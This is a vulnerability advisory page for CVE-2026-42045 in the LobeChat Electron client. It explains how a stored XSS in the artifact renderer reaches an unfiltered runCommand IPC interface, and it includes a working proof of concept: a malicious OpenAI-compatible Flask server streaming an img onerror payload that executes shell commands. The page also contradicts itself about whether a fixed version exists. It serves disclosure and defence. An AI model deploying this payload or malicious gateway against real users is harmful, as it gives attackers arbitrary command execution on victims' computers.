CVE-2026-42045

The vulnerability was automatically discovered by an ai agent and then manually verified.

LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).

The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.

Details

When LobeChat processes custom tags in the Render process of src/features/Portal/Artifacts/Body/Renderer/index.tsx, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.

const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
  switch (type) {
    case 'application/lobe.artifacts.react': {
      return <ReactRenderer code={content} />;
    }

    case 'image/svg+xml': {
      return <SVGRender content={content} />;
    }

    case 'application/lobe.artifacts.mermaid': {
      return <Mermaid variant={'borderless'}>{content}</Mermaid>;
    }

    case 'text/markdown': {
      return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
    }

    default: {
      return <HTMLRenderer htmlContent={content} />;
    }
  }
});

export default Renderer;

If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.

Additionally, Lobechat's Electron main process exposes an IPC interface called runCommand, used to invoke system commands. This interface allows arbitrary command execution and does not filter the command parameter. Therefore, if an attacker can obtain a handle to window.parent.electronAPI via XSS and call the runCommand method of the IPC, the ipcMain process can execute arbitrary system commands with the current user's privileges.

  @IpcMethod()
  async handleRunCommand({
    command,
    description,
    run_in_background,
    timeout = 120_000,
  }: RunCommandParams): Promise<RunCommandResult> {
    ...
    const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
            env: process.env,
            shell: false,
          });
    ...
  }

PoC

The attacker launched a malicious OpenAI gateway on port 5001

from flask import Flask, Response, request, jsonify
import time
import json

app = Flask(__name__)
fake_api_key = "sk-test"

@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
    if request.method == 'OPTIONS':
        return Response(status=200, headers={
            'Access-Control-Allow-Origin': '*',
            'Access-Control-Allow-Headers': '*'
        })

    # Check for API Key
    auth_header = request.headers.get('Authorization')
    print(auth_header)
    if not auth_header or auth_header != f'Bearer {fake_api_key}':
        return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401

    def generate(): 
        payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
        # Split payload into chunks to simulate streaming
        chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
        
        for chunk in chunks:
            data = {
                "id": "chatcmpl-hpdoger-123", 
                "object": "chat.completion.chunk", 
                "created": int(time.time()), 
                "model": "gpt-3.5-turbo", 
                "choices": [{
                    "index": 0, 
                    "delta": {"content": chunk},
                    "finish_reason": None
                }]
            }
            yield f"data: {json.dumps(data)}\n\n"
            time.sleep(0.1)
        
        # End of stream
        final_data = {
            "id": "chatcmpl-hpdoger-123", 
            "object": "chat.completion.chunk", 
            "created": int(time.time()), 
            "model": "gpt-3.5-turbo", 
            "choices": [{
                "index": 0, 
                "delta": {},
                "finish_reason": "stop"
            }]
        }
        yield f"data: {json.dumps(final_data)}\n\n"
        yield "data: [DONE]\n\n"

    return Response(generate(), mimetype='text/event-stream', headers={
        'Access-Control-Allow-Origin': '*', 
        'Access-Control-Allow-Headers': '*'
    })

@app.route('/v1/models', methods=['GET'])
def models():
    return jsonify({
        "object": "list", 
        "data": [{
            "id": "gpt-3.5-turbo", 
            "object": "model", 
            "created": 1677610602, 
            "owned_by": "openai"
        }]
    })

if __name__ == '__main__':
    print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
    app.run(port=5001, debug=True)

The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.

The victim was exposed to an arbitrary command execution vulnerability while chatting

reproduction

For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration opens a calculator in the victim's environment.

https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d

Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-42045 has a CVSS score of 6.2 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.

1. What is CVE-2026-42045? CVE-2026-42045 is a medium-severity OS command injection vulnerability in @lobehub/lobehub (npm), affecting versions <= 2.1.26. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-42045? CVE-2026-42045 has a CVSS score of 6.2 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @lobehub/lobehub are affected by CVE-2026-42045? @lobehub/lobehub (npm) versions <= 2.1.26 is affected.
4. Is there a fix for CVE-2026-42045? No fixed version is listed for CVE-2026-42045 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-42045 exploitable, and should I be worried? Whether CVE-2026-42045 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42045 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42045? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.